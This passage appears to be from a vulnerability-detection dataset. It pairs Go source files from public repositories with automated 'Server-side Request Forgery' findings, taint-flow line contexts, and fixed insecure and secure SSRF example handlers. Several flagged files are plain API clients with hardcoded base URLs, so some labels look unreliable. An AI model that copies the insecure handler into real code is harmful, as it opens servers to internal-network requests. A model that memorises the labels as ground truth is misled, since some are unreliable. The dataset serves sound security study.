malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 56, "entireCode": "package sand\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\n\t\"github.com/Scalingo/sand/api/httpresp\"\n\t\"github.com/Scalingo/sand/api/params\"\n\t\"github.com/Scalingo/sand/api/types\"\n\t\"github.com/pkg/errors\"\n)\n\nfunc (c *client) EndpointCreate(ctx context.Context, params params.EndpointCreate) (types.Endpoint, error) {\n\tvar (\n\t\tendpoint types.Endpoint\n\t\tbuffer = new(bytes.Buffer)\n\t)\n\terr := json.NewEncoder(buffer).Encode(¶ms)\n\tif err != nil {\n\t\treturn endpoint, errors.Wrapf(err, \"fail to serialize JSON\")\n\t}\n\treq, err := http.NewRequest(\"POST\", fmt.Sprintf(\"%s/endpoints\", c.url), buffer)\n\tif err != nil {\n\t\treturn endpoint, errors.Wrapf(err, \"fail to create http request\")\n\t}\n\treq = req.WithContext(ctx)\n\tres, err := c.httpClient.Do(req)\n\tif err != nil {\n\t\treturn endpoint, errors.Wrapf(err, \"fail to execute POST /endpoints\")\n\t}\n\tdefer res.Body.Close()\n\n\tif res.StatusCode != 201 {\n\t\tvar reserr httpresp.Error\n\t\terr = json.NewDecoder(res.Body).Decode(&reserr)\n\t\tif err != nil {\n\t\t\treturn endpoint, errors.Wrapf(err, \"fail to unserialize JSON\")\n\t\t}\n\t\treturn endpoint, reserr\n\t}\n\n\tvar r httpresp.EndpointCreate\n\terr = json.NewDecoder(res.Body).Decode(&r)\n\tif err != nil {\n\t\treturn endpoint, errors.Wrapf(err, \"fail to unserialize JSON\")\n\t}\n\n\treturn r.Endpoint, nil\n}\n\nfunc (c *client) EndpointsList(ctx context.Context, params params.EndpointsList) ([]types.Endpoint, error) {\n\turl := fmt.Sprintf(\"%s/endpoints?network_id=%s&hostname=%s\", c.url, params.NetworkID, params.Hostname)\n\treq, err := http.NewRequest(\"GET\", url, nil)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"fail to create http request\")\n\t}\n\treq = req.WithContext(ctx)\n\tres, err := c.httpClient.Do(req)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"fail to execute GET /endpoints\")\n\t}\n\tdefer res.Body.Close()\n\n\tvar r httpresp.EndpointsList\n\terr = json.NewDecoder(res.Body).Decode(&r)\n\tif err != nil {\n\t\treturn nil, errors.Wrapf(err, \"fail to unserialize JSON\")\n\t}\n\n\treturn r.Endpoints, nil\n}\n\nfunc (c *client) EndpointDelete(ctx context.Context, id string) error {\n\treq, err := http.NewRequest(\"DELETE\", fmt.Sprintf(\"%s/endpoints/%s\", c.url, id), nil)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"fail to create http request\")\n\t}\n\treq = req.WithContext(ctx)\n\tres, err := c.httpClient.Do(req)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"fail to execute DELETE /endpoints/%s\", id)\n\t}\n\tdefer res.Body.Close()\n\n\tif res.StatusCode != 204 {\n\t\tvar reserr httpresp.Error\n\t\terr = json.NewDecoder(res.Body).Decode(&reserr)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"fail to unserialize JSON\")\n\t\t}\n\t\treturn reserr\n\t}\n\n\treturn nil\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 55, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 56, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "f8000d5736ad46ecc9423039ec7a22702992f4425b7d3d4718f0fa13291848f9", "license": {"spdx": ["MIT"], "repo": "alexmbb/mdb", "path": "importer/blog/wordpress.go", "repo_head_hexsha": "a524fafa73925ecdd062c56f98376e58bfdc3d59", "stack_hexsha": "b57df63f8457a8c4f51e6dd772d03f6ad6174aa5", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 48, "entireCode": "package blog\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\n\tlog \"github.com/Sirupsen/logrus\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/robbiet480/go-wordpress\"\n\t\"golang.org/x/oauth2\"\n\n\t\"github.com/Bnei-Baruch/mdb/version\"\n)\n\nfunc NewWordpressClient(wpUrl, username, password string) (*wordpress.Client, error) {\n\t// get a fresh JWT access token\n\tjwtToken, err := getJWTToken(wpUrl, username, password)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"getJWTToken\")\n\t}\n\n\t// Create HttpClient\n\tctx := context.Background()\n\tts := oauth2.StaticTokenSource(\n\t\t&oauth2.Token{AccessToken: jwtToken},\n\t)\n\ttc := oauth2.NewClient(ctx, ts)\n\n\tclient, err := wordpress.NewClient(fmt.Sprintf(\"%swp-json/\", wpUrl), tc)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"wordpress.NewClient\")\n\t}\n\n\treturn client, nil\n}\n\nfunc getJWTToken(wpUrl, username, password string) (string, error) {\n\tvals := url.Values{\n\t\t\"username\": []string{username},\n\t\t\"password\": []string{password},\n\t}\n\n\treq, err := http.NewRequest(http.MethodPost,\n\t\tfmt.Sprintf(\"%swp-json/jwt-auth/v1/token\", wpUrl),\n\t\tstrings.NewReader(vals.Encode()))\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"http.NewRequest\")\n\t}\n\n\treq.Header.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\treq.Header.Set(\"User-Agent\", fmt.Sprintf(\"MDB_%s\", version.Version))\n\treq.Header.Set(\"Accept\", \"application/json\")\n\n\tresp, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"http.Do\")\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"ioutil.ReadAll body\")\n\t}\n\n\tif resp.StatusCode != http.StatusOK {\n\t\tlog.Warnf(\"wordpress.getJWTToken bad status code [%d]\\n%s\\n\", resp.StatusCode, string(body))\n\t}\n\n\tvar bodyJson map[string]interface{}\n\terr = json.Unmarshal(body, &bodyJson)\n\tif err != nil {\n\t\treturn \"\", errors.Wrap(err, \"json.Unmarshal\")\n\t}\n\n\tif v, ok := bodyJson[\"token\"]; ok {\n\t\tif vv, ok := v.(string); ok {\n\t\t\treturn vv, nil\n\t\t} else {\n\t\t\treturn \"\", errors.Errorf(\"JWT token is not a string, got: %v\", v)\n\t\t}\n\t} else {\n\t\treturn \"\", errors.Errorf(\"Invalid JWT token endpoint response: %v\", bodyJson)\n\t}\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 48, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}, {"lineNo": 49, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}]}} {"id": "6c75454b52b7b9be63bb389940ed13a2394cd35d63b669ac00534cca1b74ffd4", "license": {"spdx": ["MIT"], "repo": "OrenRosen/simpleweather", "path": "openweather/provider.go", "repo_head_hexsha": "61dda6dbe916859431856247fdec09d4dce1041c", "stack_hexsha": "4c7be8b0bcf8c7f9ec7bb1436cb6a76a59702581", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 32, "entireCode": "package openweather\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\n\t\"github.com/OrenRosen/simpleweather/weather\"\n)\n\nconst (\n\tendpoint = \"https://api.openweathermap.org/data/2.5\"\n\tpathFormatWeatherByCity = \"/weather?q=%s&appid=%s&units=metric\"\n)\n\ntype provider struct {\n\tapiKey string\n}\n\nfunc NewProvider(apiKey string) *provider {\n\treturn &provider{\n\t\tapiKey: apiKey,\n\t}\n}\n\nfunc (p *provider) GetWeatherByCity(city string) (weather.Weather, error) {\n\t// compose the url. note that it's not the best way to add query params.\n\tpath := fmt.Sprintf(pathFormatWeatherByCity, city, p.apiKey)\n\tu := endpoint + path\n\n\tres, err := http.Get(u)\n\tif err != nil {\n\t\treturn weather.Weather{}, fmt.Errorf(\"openweather.GetWeatherByCity failed http GET: %s\", err)\n\t}\n\n\tdefer func() {\n\t\t_ = res.Body.Close()\n\t}()\n\n\t// read the response body and encode it into the respose struct\n\tbodyRaw, err := ioutil.ReadAll(res.Body)\n\tif err != nil {\n\t\treturn weather.Weather{}, fmt.Errorf(\"openweather.GetWeatherByCity failed reading body: %s\", err)\n\t}\n\n\tvar weatherRes weatherResponse\n\tif err = json.Unmarshal(bodyRaw, &weatherRes); err != nil {\n\t\treturn weather.Weather{}, fmt.Errorf(\"openweather.GetWeatherByCity failed encoding body: %s\", err)\n\t}\n\n\tif res.StatusCode != http.StatusOK {\n\t\treturn weather.Weather{}, fmt.Errorf(\"openweather.GetWeatherByCity got error from OpenWeather: %s\", weatherRes.Message)\n\t}\n\n\t// return the external response converted into an entity\n\treturn weatherRes.ToWeather(), nil\n}\n\ntype weatherResponse struct {\n\tMessage string\n\tMain struct {\n\t\tTemp float32 `json:\"temp\"`\n\t\tPressure float32 `json:\"pressure\"`\n\t\tTempMin float32 `json:\"temp_min\"`\n\t\tTempMax float32 `json:\"temp_max\"`\n\t}\n}\n\nfunc (r weatherResponse) ToWeather() weather.Weather {\n\treturn weather.Weather{\n\t\tTemp: r.Main.Temp,\n\t\tPressure: r.Main.Pressure,\n\t\tMinTemp: r.Main.TempMin,\n\t\tMaxTemp: r.Main.TempMax,\n\t}\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 32, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "Get"}}]}} {"id": "81dfdfdb147a4705496cd1bcae9a35f5bf91a36077ec8b55690dfee09e348714", "license": {"spdx": ["MIT"], "repo": "kacpersaw/go-fordpass", "path": "fordpass/fordpass.go", "repo_head_hexsha": "b968d014a45e78941b8220a2c3bd5ba9a393c2af", "stack_hexsha": "5cafb9e0f343595c35d2920ffb02a6c3652b3a2e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 122, "entireCode": "package fordpass\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\t\"time\"\n)\n\nconst (\n\tbaseURL = \"https://usapi.cv.ford.com/api\"\n\tauthURL = \"https://fcis.ice.ibmcloud.com/v1.0/endpoint/default/token\"\n)\n\ntype Client struct {\n\tBaseURL string\n\n\tUsername string\n\tPassword string\n\tVin string\n\n\tToken string\n\tExpiresAt time.Time\n\n\tclient *http.Client\n}\n\nfunc NewClient(username, password, vin string) *Client {\n\treturn &Client{\n\t\tBaseURL: baseURL,\n\n\t\tUsername: username,\n\t\tPassword: password,\n\t\tVin: vin,\n\n\t\tclient: &http.Client{\n\t\t\tTimeout: time.Minute,\n\t\t},\n\t}\n}\n\ntype AuthResponse struct {\n\tAccessToken string `json:\"access_token\"`\n\tRefreshToken string `json:\"refresh_token\"`\n\tGrantId string `json:\"grant_id\"`\n\tTokenType string `json:\"token_type\"`\n\tExpiresIn int `json:\"expires_in\"`\n}\n\ntype ControlResponse struct {\n\tCommandId string `json:\"commandId\"`\n\tStatus int `json:\"status\"`\n}\n\n// Authenticate to ford api\nfunc (c *Client) auth() error {\n\tdata := url.Values{}\n\tdata.Set(\"client_id\", \"9fb503e0-715b-47e8-adfd-ad4b7770f73b\")\n\tdata.Set(\"grant_type\", \"password\")\n\tdata.Set(\"username\", c.Username)\n\tdata.Set(\"password\", c.Password)\n\n\treq, err := http.NewRequest(\"POST\", authURL, strings.NewReader(data.Encode()))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\n\tvar res AuthResponse\n\tif err := c.doRequest(req, &res); err != nil {\n\t\treturn err\n\t}\n\n\tc.Token = res.AccessToken\n\n\tt := time.Now()\n\tt.Add(time.Duration(res.ExpiresIn) * time.Second)\n\tc.ExpiresAt = t\n\n\treturn nil\n}\n\n// Fetch and refresh token if needed\nfunc (c *Client) acquireToken() error {\n\tif c.Token == \"\" || time.Now().After(c.ExpiresAt) {\n\t\treturn c.auth()\n\t}\n\n\treturn nil\n}\n\n// Do request to the given URL\nfunc (c *Client) doRequest(req *http.Request, v interface{}) error {\n\tc.setHeaders(req)\n\n\tresp, err := c.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\tif resp.StatusCode < http.StatusOK || resp.StatusCode >= http.StatusBadRequest {\n\t\tvar errRes map[string]string\n\t\tif err = json.NewDecoder(resp.Body).Decode(&errRes); err == nil {\n\t\t\treturn errors.New(errRes[\"error_description\"])\n\t\t}\n\t}\n\n\tif err = json.NewDecoder(resp.Body).Decode(&v); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\n// Poll status of pending command\nfunc (c *Client) pollStatus(url, id string) error {\n\treq, err := http.NewRequest(\"GET\", fmt.Sprintf(\"%s/%s\", url, id), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tc.setHeaders(req)\n\n\tresp, err := c.client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\n\tvar data ControlResponse\n\tif err = json.NewDecoder(resp.Body).Decode(&data); err != nil {\n\t\treturn err\n\t}\n\n\tswitch data.Status {\n\tcase 552:\n\t\ttime.Sleep(5 * time.Second)\n\t\treturn c.pollStatus(url, id)\n\tcase 200:\n\t\treturn nil\n\tdefault:\n\t\treturn errors.New(\"poll failed\")\n\t}\n}\n\n// Set needed headers for request\nfunc (c *Client) setHeaders(req *http.Request) {\n\treq.Header.Set(\"Accept\", \"*/*\")\n\treq.Header.Set(\"Accept-Language\", \"en-us\")\n\treq.Header.Set(\"User-Agent\", \"fordpass-na/353 CFNetwork/1121.2.2 Darwin/19.3.0\")\n\treq.Header.Set(\"Accept-Encoding\", \"gzip, deflate, br\")\n\n\tif req.URL.String() != authURL {\n\t\treq.Header.Set(\"Application-Id\", \"71A3AD0A-CF46-4CCF-B473-FC7FE5BC4592\")\n\t\treq.Header.Set(\"Content-Type\", \"application/json\")\n\t}\n\n\t//set auth token header if set\n\tif c.Token != \"\" {\n\t\treq.Header.Set(\"auth-token\", c.Token)\n\t}\n}", "dangerousExampleEn": "1. func Dan_SSRF(c *gin.Context) {\n2. \turl := c.PostForm(\"content\")\n3. \n4. \tresp, err := http.Get(url)\n5. \tbody, err := ioutil.ReadAll(resp.Body)\n6. \n7. \tc.String(200, string(body))\n8. }\nLine 4: This is insecure because an external input is used in http.get() without validation.", "safeExampleEn": "1. func Safe_SSRF(c *gin.Context) {\n2. \tvar m = make(map[string]string)\n3. \tm[\"mainpage\"] = \"https://mainpage.com\"\n4. \tm[\"subpage\"] = \"https://subpage.com\"\n5. \tinput := c.PostForm(\"content\")\n6. \tvalue := m[input]\n7. \tif _, ok := m[input]; ok {\n8. \t\tresp, err := http.Get(value)\n9. \t\tbody, err := ioutil.ReadAll(resp.Body)\n10. \t\tc.String(200, string(body))\n11. \t} else {\n12. \t\tc.String(500, \"fail\")\n13. \t}\n14. }\nLine 8: This is secure because the external input has been validated as a predefined address before use.", "contexts": [{"lineNo": 122, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "Sprintf"}}, {"lineNo": 122, "eventType": "sink", "messageKey": "gochk.SERVER_SIDE_REQUEST_FORGERY.GO.defect.sink", "params": {"arg0": "NewRequest"}}]}} {"id": "274c9858cf88c4653d52f3bfd27d877e9e5c7aa1a0ce04d059fd9792dd6655cb", "license": {"spdx": ["Apache-2.0"], "repo": "tetrafolium/luci-go", "path": "server/auth/authdb/dump/dump.go", "repo_head_hexsha": "4a11b793d1c9476e64a3302beb3d471c80301265", "stack_hexsha": "cfb9ccfe04db7262436e71d49858553fce5c84e1", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Server-side Request Forgery", "issueDescriptionEn": "Using a url from an external link entered by a user is dangerous. Consequently, malicious requests can be sent, leading to problems such as forgery of server-side requests.\nThis is a security vulnerability in which an attacker can manipulate the server to send a request related to the internal network.\nThe `net/url` package provides a function for URL parsing and validation to verify that the user input is in a valid URL format. However, the package alone cannot guarantee the input is completely secure. Therefore, it is recommended to use proper filtering as well or creating a whitelist exclusively for allowed domains.", "issueLineNumber": 269, "entireCode": "// Copyright 2019 The LUCI Authors.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package dump implements loading AuthDB from dumps in Google Storage.\npackage dump\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/sha512\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"time\"\n\n\t\"github.com/golang/protobuf/jsonpb\"\n\t\"github.com/golang/protobuf/proto\"\n\n\t\"go.chromium.org/luci/common/errors\"\n\t\"go.chromium.org/luci/common/logging\"\n\t\"go.chromium.org/luci/common/retry\"\n\t\"go.chromium.org/luci/common/retry/transient\"\n\n\t\"go.chromium.org/luci/server/auth\"\n\t\"go.chromium.org/luci/server/auth/authdb\"\n\t\"go.chromium.org/luci/server/auth/service\"\n\t\"go.chromium.org/luci/server/auth/service/protocol\"\n\t\"go.chromium.org/luci/server/auth/signing\"\n)\n\n// Fetcher can fetch AuthDB snapshots from GCS dumps, requesting access through\n// Auth Service if necessary.\n//\n// It's designed not to depend on Auth Service availability at all if everything\n// is already setup (i.e. the access to AuthDB snapshot is granted). For that\n// reason it requires the location of GCS dump and name of Auth Service's\n// signing account to be provided as static configuration (since we don't want\n// to make RPCs to potentially unavailable Auth Service to discover them).\n//\n// The only time Auth Service is directly hit is when GCS returns permission\n// errors. When this happens, Fetcher tries to authorize itself through the\n// Auth Service API call and then retries the fetch.\ntype Fetcher struct {\n\tStorageDumpPath string // GCS storage path to the dump \"/\"\n\tAuthServiceURL string // URL of the auth service \"https://...\"\n\tAuthServiceAccount string // service account name that signed the blob\n\tOAuthScopes []string // scopes to use when making OAuth tokens\n\n\ttestRetryPolicy func() retry.Iterator // how to retry, mocked in tests\n\ttestStorageURL string // Google Storage URL, mocked in tests\n\ttestStorageClient *http.Client // client to access Google Storage, mocked in tests\n\ttestSigningCerts *signing.PublicCertificates // certs to use to check signature, mocked in tests\n}\n\n// FetchAuthDB checks whether there's a newer version of AuthDB available in\n// GCS and fetches it if so. If 'cur' is already up-to-date, returns it as is.\n//\n// Logs and retries errors internally until the context cancellation or timeout.\nfunc (f *Fetcher) FetchAuthDB(ctx context.Context, cur *authdb.SnapshotDB) (fresh *authdb.SnapshotDB, err error) {\n\tclient := f.testStorageClient\n\tif client == nil {\n\t\tt, err := auth.GetRPCTransport(ctx, auth.AsSelf, auth.WithScopes(f.OAuthScopes...))\n\t\tif err != nil {\n\t\t\treturn nil, errors.Reason(\"can't get authenticating transport\").Err()\n\t\t}\n\t\tclient = &http.Client{Transport: t}\n\t}\n\n\tretryPolicy := f.testRetryPolicy\n\tif retryPolicy == nil {\n\t\tretryPolicy = transient.Only(indefiniteRetry)\n\t}\n\n\terr = retry.Retry(ctx, retryPolicy, func() (err error) {\n\t\tfresh, err = f.doFetchAttempt(ctx, cur, client)\n\t\treturn err\n\t}, func(err error, wait time.Duration) {\n\t\tlogging.Warningf(ctx, \"Failed to fetch AuthDB dump, will retry in %s: %s\", wait, err)\n\t})\n\treturn\n}\n\n// indefiniteRetry is retry.Iterator that retries indefinitely.\nfunc indefiniteRetry() retry.Iterator {\n\treturn &retry.ExponentialBackoff{\n\t\tLimited: retry.Limited{\n\t\t\tRetries: -1,\n\t\t\tDelay: 500 * time.Millisecond,\n\t\t},\n\t\tMaxDelay: 30 * time.Second,\n\t}\n}\n\n// doFetchAttempt is one iteration of FetchAuthDB retry loop.\nfunc (f *Fetcher) doFetchAttempt(ctx context.Context, cur *authdb.SnapshotDB, client *http.Client) (*authdb.SnapshotDB, error) {\n\t// Fetch a tiny latest.json. In most cases this is the only RPC we'll do.\n\tlatestRev, needAccess, err := f.fetchLatestRev(ctx, client)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// If have no access, ask for it and immediately try again.\n\tif needAccess {\n\t\tif err := f.requestAccess(ctx); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tswitch latestRev, needAccess, err = f.fetchLatestRev(ctx, client); {\n\t\tcase err != nil:\n\t\t\treturn nil, err\n\t\tcase needAccess: // this should not be happening\n\t\t\treturn nil, errors.Reason(\"still no access to GCS\").Tag(transient.Tag).Err()\n\t\t}\n\t}\n\n\t// Skip the rest if we already have same or more recent revision.\n\tif cur != nil && cur.Rev >= latestRev {\n\t\tif cur.Rev > latestRev {\n\t\t\tlogging.Warningf(ctx, \"AuthDB dump revision went back in time (we have %d, the dump is %d)\", cur.Rev, latestRev)\n\t\t}\n\t\treturn cur, nil\n\t}\n\n\t// Fetch and validate the new snapshot.\n\tlogging.Infof(ctx, \"AuthDB rev %d is available, fetching it...\", latestRev)\n\tsigned, err := f.fetchSignedAuthDB(ctx, client)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif err := f.checkSignature(ctx, signed); err != nil {\n\t\treturn nil, err\n\t}\n\tfresh, err := f.deserializeAuthDB(ctx, signed.AuthDbBlob)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Make sure we don't switch to an older revisions no matter what. This should\n\t// not be happening.\n\tif cur != nil && fresh.Rev <= cur.Rev {\n\t\tlogging.Errorf(ctx, \"Unexpectedly got an older snapshot (%d <= %d), ignoring it\", fresh.Rev, cur.Rev)\n\t\treturn cur, nil\n\t}\n\treturn fresh, nil\n}\n\n// fetchLatestRev returns the revision of the latest AuthDB dump in the storage.\n//\n// On access errors returns (0, true, nil). All other errors are considered\n// transient.\nfunc (f *Fetcher) fetchLatestRev(ctx context.Context, client *http.Client) (rev int64, needAccess bool, err error) {\n\tswitch code, resp, err := f.fetchFromGCS(ctx, client, \"latest.json\"); {\n\tcase err != nil:\n\t\treturn 0, false, transient.Tag.Apply(err)\n\tcase code == http.StatusOK:\n\t\trev := protocol.AuthDBRevision{}\n\t\tif err := jsonpb.Unmarshal(bytes.NewReader(resp), &rev); err != nil {\n\t\t\treturn 0, false, errors.Annotate(err, \"failed to unmarshal AuthDBRevision\").Err()\n\t\t}\n\t\treturn rev.AuthDbRev, false, nil\n\tcase code == http.StatusForbidden || code == http.StatusNotFound:\n\t\tlogging.Errorf(ctx, \"Permission errors when fetching latest.json\")\n\t\treturn 0, true, nil\n\tdefault:\n\t\treturn 0, false, errors.Reason(\"got HTTP %d when fetching latest.json:\\n%s\", code, resp).Tag(transient.Tag).Err()\n\t}\n}\n\n// fetchSignedAuthDB fetches SignedAuthDB from GCS and deserializes it.\nfunc (f *Fetcher) fetchSignedAuthDB(ctx context.Context, client *http.Client) (*protocol.SignedAuthDB, error) {\n\tcode, resp, err := f.fetchFromGCS(ctx, client, \"latest.db\")\n\tswitch {\n\tcase err != nil:\n\t\treturn nil, transient.Tag.Apply(err)\n\tcase code == http.StatusOK:\n\t\tlogging.Infof(ctx, \"Fetched AuthDB snapshot (%.1f Kb)\", float32(len(resp))/1024)\n\t\tdb := protocol.SignedAuthDB{}\n\t\tif err := proto.Unmarshal(resp, &db); err != nil {\n\t\t\treturn nil, errors.Annotate(err, \"failed to unmarshal SignedAuthDB\").Err()\n\t\t}\n\t\treturn &db, nil\n\tdefault:\n\t\treturn nil, errors.Reason(\"got HTTP %d when fetching latest.json:\\n%s\", code, resp).Tag(transient.Tag).Err()\n\t}\n}\n\n// checkSignature checks the signature in SignedAuthDB.\nfunc (f *Fetcher) checkSignature(ctx context.Context, s *protocol.SignedAuthDB) error {\n\tif s.SignerId != f.AuthServiceAccount {\n\t\treturn errors.Reason(\"the snapshot is signed by %q, but we accept only %q\", s.SignerId, f.AuthServiceAccount).Err()\n\t}\n\n\tcerts := f.testSigningCerts\n\tif certs == nil {\n\t\tvar err error\n\t\tif certs, err = signing.FetchCertificatesForServiceAccount(ctx, s.SignerId); err != nil {\n\t\t\treturn errors.Annotate(err, \"failed to fetch certs of %q\", s.SignerId).Tag(transient.Tag).Err()\n\t\t}\n\t}\n\n\thash := sha512.Sum512(s.AuthDbBlob)\n\tif err := certs.CheckSignature(s.SigningKeyId, 